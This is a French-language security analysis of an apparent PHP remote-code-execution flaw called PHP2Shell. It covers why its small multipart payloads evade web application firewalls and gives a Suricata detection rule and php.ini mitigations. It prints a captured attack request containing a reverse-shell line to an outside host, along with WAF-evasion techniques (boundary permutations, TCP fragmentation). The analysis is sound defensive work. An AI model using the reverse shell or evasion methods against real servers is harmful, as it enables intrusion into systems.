L'Exploit Sous la Barre des 500 Octets : Comment PHP2Shell Contourne l'Inspection de Corps des WAF
L'Exploit Sous la Barre des 500 Octets : Comment PHP2Shell Contourne l'Inspection de Corps des WAF
<time datetime="2026-10-23">Vérifié le: 23 octobre 2026</time> · Analyse de Sécurité Offensive : Flux HTTP Multipart RFC1867
Dans le paysage contemporain de la sécurité des applications web, la plupart des vulnérabilités critiques d'exécution de code à distance (RCE) — des injections de commandes dans les frameworks modernes aux désérialisations complexes en Java — se traduisent habituellement par des charges utiles (payloads) massives et hautement volumineuses. Les flux d'attaque transportent fréquemment des blocs de code encodés en Base64, des chaînes XML boursouflées ou des suites de gadgets de plusieurs kilooctets.
En conséquence, l'industrie des pare-feu applicatifs (Web Application Firewalls - WAF) et les centres opérationnels de sécurité (SOC) ont pris l'habitude de s'appuyer sur des heuristiques d'analyse de signatures lourdes et sur des plafonds de longueur de requête.
Pourtant, les charges utiles réelles observées lors de l'exploitation active de PHP2Shell (CVE-2026-109618 et CVE-2026-109619) ont pris cette doctrine à contre-pied en concentrant une chaîne RCE complète et opérationnelle dans un minuscule paquet HTTP oscillant entre 450 et 490 octets au total.
Dans cette étude technique, nous analysons l'anatomie de cette charge miniature et les raisons fondamentales de la mise en échec des systèmes de détection périmétriques.
1. Dissection d'une Capture Réseau Réelle (Raw HTTP Packet)
Le bloc ci-après reproduit fidèlement la trame HTTP capturée par nos capteurs honeypots lors des premières vagues d'attaques automatisées :
POST / HTTP/1.1
Host: victime.entreprise.fr
User-Agent: curl/8.5.0
Content-Type: multipart/form-data; boundary=---------------------------x
Content-Length: 468
Connection: close
-----------------------------x
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
x
-----------------------------x
Content-Disposition: form-data; name="f"; filename="test.php"
Content-Type: text/plain
<?php echo 1;
-----------------------------x
Content-Disposition: form-data; name="p"
\x90\x90\x90\x90\x10\xa2\x04\x08...|bash -i>&/dev/tcp/198.51.100.1/4444 0>&1
-----------------------------x--
Chaque segment de cette requête remplit un rôle millimétré dans la déstabilisation de la mémoire du moteur PHP en langage C.
2. Les Facteurs d'une Compacité Inégalée
Comment est-il possible d'obtenir un accès shell complet avec moins d'un demi-kilooctet ? La réponse réside dans le principe du Living-off-the-Land (Vivre sur les Ressources Locales) transposé au runtime en C.
L'attaquant n'a nul besoin d'injecter un interpréteur secondaire, un compilateur ou un volumineux shellcode en assembleur. Tous les mécanismes nécessaires préexistent déjà dans l'espace mémoire du processus PHP :
- L'Amorçage du Pointeur (75 octets) : Le paramètre
PHP_SESSION_UPLOAD_PROGRESSordonne au sous-systèmeext/sessiond'activer le hook de suivi. - L'Inducteur de Recyclage (120 octets) : La partie simulant l'envoi d'un fichier déclenche l'allocation et la libération immédiate du tampon temporaire.
- Le Commutateur d'Exécution (110 octets) : Les quelques octets qui forgent la structure
zvalet la chaîne de commande shell passée directement àzif_system().
Comme le point d'atterrissage final est la fonction native zif_system compilée au sein du binaire PHP, la charge utile n'a besoin de véhiculer que les arguments et la table de renvoi, réduisant drastiquement la taille du paquet.
3. Pourquoi les Pare-Feu Applicatifs (WAF) Échouent-ils ?
La neutralisation des WAFs par PHP2Shell repose sur trois faiblesses architecturales courantes :
A. Requêtes sous les Seuils d'Analyse Approfondie
De nombreux WAFs en mode SaaS ou sur passerelles cloud choisissent de ne pas inspecter en profondeur les corps de requêtes excessivement courts afin d'économiser la puissance de calcul et de limiter la latence réseau. Le volume de PHP2Shell se confond avec celui d'un clic de formulaire ordinaire ou d'un échange d'authentification API.
B. Inexistence de Mots-Clés Suspects Traditionnels
La requête ne comporte aucune chaîne révélatrice comme eval(, base64_decode, <script>, SELECT * FROM ou des balises de code malveillant élaborées. La seule chaîne textuelle apparente est PHP_SESSION_UPLOAD_PROGRESS, qui constitue un nom de directive tout à fait légitime documenté sur le site officiel de PHP.
C. Agnosticisme Total de l'URL Demandée
La faille est déclenchée lors de la phase de réception SAPI, avant que le moteur ne cherche à valider l'existence du script demandé. Envoyer la requête vers /404, /favicon.ico ou /contact.php produit rigoureusement le même effet d'exécution de code, déjouant les règles de filtrage basées sur la protection d'adresses d'administration spécifiques (/wp-admin, /admin).
4. Variantes de Frontières Multipart et Fragmentation TCP
Pour contourner les premières signatures perimetriques sommaires, les concepteurs de botnets exploitent la flexibilité de la norme RFC1867 :
A. Altération des Délimiteurs de Frontière (Boundary Permutations)
La norme autorise la présence d'espaces, de guillemets et de retours à la ligne dans l'en-tête Content-Type: multipart/form-data; boundary=.... Les attaquants modifient subtilement ces séparateurs pour désynchroniser l'analyseur du proxy inverse par rapport à celui du moteur PHP :
Content-Type: multipart/form-data; boundary="----WebKitBoundaryRandom"
Content-Type: multipart/form-data; boundary=---------------------------x; charset=utf-8
Le parseur en C de PHP (main/rfc1867.c) étant particulièrement tolérant face aux écarts de syntaxe, il traite la charge avec succès même lorsqu'un pare-feu rejette l'analyse en considérant l'en-tête malformé.
B. Fragmentation TCP au Niveau Transport (Layer 4)
En fragmentant volontairement les segments TCP au milieu du mot-clé PHP_SESSION_UPLOAD_PROGRESS (par exemple en envoyant PHP_SESS dans le premier paquet et ION_UPLOAD_PROGRESS dans le second), les attaquants contournent les dispositifs d'inspection ne disposant pas d'un moteur de réassemblage de flux avec suivi d'état (Stateful Reassembly).
5. Signature Suricata Optimisée pour le Blocage de la Charge
Pour identifier ces requêtes miniatures sans bloquer les transferts de fichiers légitimes des utilisateurs :
alert http any any -> $HTTP_SERVERS any ( \
msg:"ANSSI-RULE PHP2Shell Compact Multipart RCE Payload Detected"; \
flow:established,to_server; \
content:"POST"; http_method; \
content:"multipart/form-data"; http_header; nocase; \
content:"PHP_SESSION_UPLOAD_PROGRESS"; http_client_body; nocase; \
dsize:<600; \
classtype:web-application-attack; \
sid:10261094; rev:1; \
)
Un formulaire légitime de suivi de téléversement transporte habituellement des fichiers de plusieurs mégaoctets. Un paquet multipart de moins de 600 octets contenant cette directive constitue un indice presque infaillible d'une tentative d'exploitation de PHP2Shell.
6. Comportement sous HTTP/2 et Multiplexage de Flux Edge
L'adoption généralisée de HTTP/2 et HTTP/3 (QUIC) dans les architectures modernes introduit un niveau de complexité additionnel pour la détection :
A. Trames DATA Binaires et Multiplexage
Sous HTTP/2, les requêtes ne transitent plus sous forme de flux de texte continu, mais sont découpées en trames binaires (HEADERS, DATA). Les outils d'inspection réseau incapables de décapsuler et réassembler les trames HTTP/2 multiplexées sur une même connexion TCP/TLS ne perçoivent qu'une série de fragments binaires sans cohérence apparente.
B. Traduction de Protocole par les Proxies Edge (Cloudflare / HAProxy)
Lorsqu'un CDN ou un équilibreur de charge reçoit une requête en HTTP/2 depuis l'Internet public et la rétrograde en HTTP/1.1 pour la transmettre au serveur PHP-FPM d'arrière-plan, des anomalies de délimitation de corps peuvent survenir. L'injection de caractères de contrôle dans le paramètre de téléversement peut induire un comportement asynchrone entre la passerelle et le démon FastCGI, augmentant le risque d'exploitation réussie même derrière des couches de proxy réputées robustes.
7. Enseignements Opérationnels et Recommandations
- Ne comptez pas sur la seule détection de chaînes WAF : La variabilité de l'encodage multipart et le multiplexage HTTP/2 permettent d'échapper aux filtres par expressions régulières traditionnels.
- Désactivez la directive à la racine : La seule parade absolue et universelle consiste à inscrire
session.upload_progress.enabled = Offdans tous les profils de configurationphp.ini. - Cloisonnez le runtime système : Adoptez des restrictions Seccomp ou systemd pour empêcher qu'un accès mémoire non autorisé ne se concrétise en une session de commande interactive sur l'hôte.